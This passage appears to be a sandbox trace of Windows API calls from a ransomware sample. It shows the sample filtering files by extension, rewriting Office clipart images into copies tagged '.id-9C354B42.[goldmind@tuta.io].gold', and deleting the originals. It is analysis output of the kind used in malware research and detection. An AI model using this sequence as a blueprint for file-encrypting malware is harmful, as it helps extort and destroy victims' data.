(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".1cd") returned 4 [0112.332] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".jpg") returned 4 [0112.332] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".doc") returned 4 [0112.332] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.332] lstrlenW (lpString=".docx") returned 5 [0112.332] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0112.332] lstrlenW (lpString=".pdf") returned 4 [0112.332] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.332] lstrlenW (lpString=".xls") returned 4 [0112.332] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.332] lstrlenW (lpString=".xlsx") returned 5 [0112.332] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0112.332] lstrlenW (lpString=".ppt") returned 4 [0112.332] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".zip") returned 4 [0112.332] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.332] lstrlenW (lpString=".rar") returned 4 [0112.332] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.332] lstrlenW (lpString=".bz2") returned 4 [0112.332] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.332] lstrlenW (lpString=".7z") returned 3 [0112.332] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".dbf") returned 4 [0112.332] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".1cd") returned 4 [0112.332] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".jpg") returned 4 [0112.332] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.332] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.332] lstrlenW (lpString="J0178639.JPG") returned 12 [0112.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.333] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=32038) returned 1 [0112.333] CloseHandle (hObject=0x380) returned 1 [0112.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 0x20 [0112.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.334] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.334] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.334] GetLastError () returned 0x0 [0112.334] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x7d26, lpOverlapped=0x0) returned 1 [0112.336] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x7d30, lpOverlapped=0x0) returned 1 [0112.337] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.338] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.338] SetEndOfFile (hFile=0x3b8) returned 1 [0112.338] CloseHandle (hObject=0x3b8) returned 1 [0112.338] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.338] SetEndOfFile (hFile=0x380) returned 1 [0112.340] CloseHandle (hObject=0x380) returned 1 [0112.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178639.jpg")) returned 1 [0112.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.341] lstrlenW (lpString=".doc") returned 4 [0112.341] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.341] lstrlenW (lpString=".docx") returned 5 [0112.341] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0112.341] lstrlenW (lpString=".pdf") returned 4 [0112.341] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.341] lstrlenW (lpString=".xls") returned 4 [0112.341] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.341] lstrlenW (lpString=".xlsx") returned 5 [0112.341] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0112.341] lstrlenW (lpString=".ppt") returned 4 [0112.341] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.341] lstrlenW (lpString=".zip") returned 4 [0112.341] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.341] lstrlenW (lpString=".rar") returned 4 [0112.341] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.341] lstrlenW (lpString=".bz2") returned 4 [0112.341] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.341] lstrlenW (lpString=".7z") returned 3 [0112.341] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.341] lstrlenW (lpString=".dbf") returned 4 [0112.341] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.341] lstrlenW (lpString=".1cd") returned 4 [0112.341] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.342] lstrlenW (lpString=".jpg") returned 4 [0112.342] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.342] lstrlenW (lpString=".doc") returned 4 [0112.342] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.342] lstrlenW (lpString=".docx") returned 5 [0112.342] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0112.342] lstrlenW (lpString=".pdf") returned 4 [0112.342] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.342] lstrlenW (lpString=".xls") returned 4 [0112.342] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.342] lstrlenW (lpString=".xlsx") returned 5 [0112.342] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0112.342] lstrlenW (lpString=".ppt") returned 4 [0112.342] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.342] lstrlenW (lpString=".zip") returned 4 [0112.342] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.342] lstrlenW (lpString=".rar") returned 4 [0112.342] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.342] lstrlenW (lpString=".bz2") returned 4 [0112.342] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.342] lstrlenW (lpString=".7z") returned 3 [0112.342] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.342] lstrlenW (lpString=".dbf") returned 4 [0112.342] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.342] lstrlenW (lpString=".1cd") returned 4 [0112.342] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178639.JPG") returned 63 [0112.342] lstrlenW (lpString=".jpg") returned 4 [0112.342] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.342] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.342] lstrlenW (lpString="J0178932.JPG") returned 12 [0112.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0112.594] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=35340) returned 1 [0112.594] CloseHandle (hObject=0x3d8) returned 1 [0112.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 0x20 [0112.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0112.685] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.685] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.686] GetLastError () returned 0x0 [0112.686] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x8a0c, lpOverlapped=0x0) returned 1 [0112.697] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x8a10, lpOverlapped=0x0) returned 1 [0112.698] ReadFile (in: hFile=0x3c8, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.698] WriteFile (in: hFile=0x380, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.698] SetEndOfFile (hFile=0x380) returned 1 [0112.698] CloseHandle (hObject=0x380) returned 1 [0112.698] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.698] SetEndOfFile (hFile=0x3c8) returned 1 [0112.700] CloseHandle (hObject=0x3c8) returned 1 [0112.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg")) returned 1 [0112.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.758] lstrlenW (lpString=".doc") returned 4 [0112.758] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.758] lstrlenW (lpString=".docx") returned 5 [0112.758] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0112.758] lstrlenW (lpString=".pdf") returned 4 [0112.758] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.758] lstrlenW (lpString=".xls") returned 4 [0112.758] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.758] lstrlenW (lpString=".xlsx") returned 5 [0112.758] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0112.758] lstrlenW (lpString=".ppt") returned 4 [0112.758] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.758] lstrlenW (lpString=".zip") returned 4 [0112.758] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.758] lstrlenW (lpString=".rar") returned 4 [0112.758] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.758] lstrlenW (lpString=".bz2") returned 4 [0112.758] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.758] lstrlenW (lpString=".7z") returned 3 [0112.758] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.758] lstrlenW (lpString=".dbf") returned 4 [0112.758] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.758] lstrlenW (lpString=".1cd") returned 4 [0112.758] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.758] lstrlenW (lpString=".jpg") returned 4 [0112.759] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.759] lstrlenW (lpString=".doc") returned 4 [0112.759] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.759] lstrlenW (lpString=".docx") returned 5 [0112.759] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0112.759] lstrlenW (lpString=".pdf") returned 4 [0112.759] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.759] lstrlenW (lpString=".xls") returned 4 [0112.759] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.759] lstrlenW (lpString=".xlsx") returned 5 [0112.759] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0112.759] lstrlenW (lpString=".ppt") returned 4 [0112.759] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.759] lstrlenW (lpString=".zip") returned 4 [0112.759] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.759] lstrlenW (lpString=".rar") returned 4 [0112.759] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.759] lstrlenW (lpString=".bz2") returned 4 [0112.759] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.759] lstrlenW (lpString=".7z") returned 3 [0112.759] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.759] lstrlenW (lpString=".dbf") returned 4 [0112.759] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.759] lstrlenW (lpString=".1cd") returned 4 [0112.759] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG") returned 63 [0112.759] lstrlenW (lpString=".jpg") returned 4 [0112.759] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.759] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.759] lstrlenW (lpString="J0182898.WMF") returned 12 [0112.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0112.762] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=15150) returned 1 [0112.762] CloseHandle (hObject=0x3c0) returned 1 [0112.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 0x20 [0112.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0112.762] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.762] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.763] GetLastError () returned 0x0 [0112.763] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3b2e, lpOverlapped=0x0) returned 1 [0112.798] WriteFile (in: hFile=0x3b4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3b30, lpOverlapped=0x0) returned 1 [0112.799] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.799] WriteFile (in: hFile=0x3b4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.799] SetEndOfFile (hFile=0x3b4) returned 1 [0112.799] CloseHandle (hObject=0x3b4) returned 1 [0112.799] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.799] SetEndOfFile (hFile=0x3c0) returned 1 [0112.801] CloseHandle (hObject=0x3c0) returned 1 [0112.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf")) returned 1 [0112.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.877] lstrlenW (lpString=".doc") returned 4 [0112.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.877] lstrlenW (lpString=".docx") returned 5 [0112.877] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0112.877] lstrlenW (lpString=".pdf") returned 4 [0112.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.877] lstrlenW (lpString=".xls") returned 4 [0112.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.877] lstrlenW (lpString=".xlsx") returned 5 [0112.877] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0112.877] lstrlenW (lpString=".ppt") returned 4 [0112.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.877] lstrlenW (lpString=".zip") returned 4 [0112.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.877] lstrlenW (lpString=".rar") returned 4 [0112.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.877] lstrlenW (lpString=".bz2") returned 4 [0112.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.877] lstrlenW (lpString=".7z") returned 3 [0112.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString=".dbf") returned 4 [0112.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString=".1cd") returned 4 [0112.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString=".jpg") returned 4 [0112.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF") returned 63 [0112.878] lstrlenW (lpString=".doc") returned 4 [0112.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 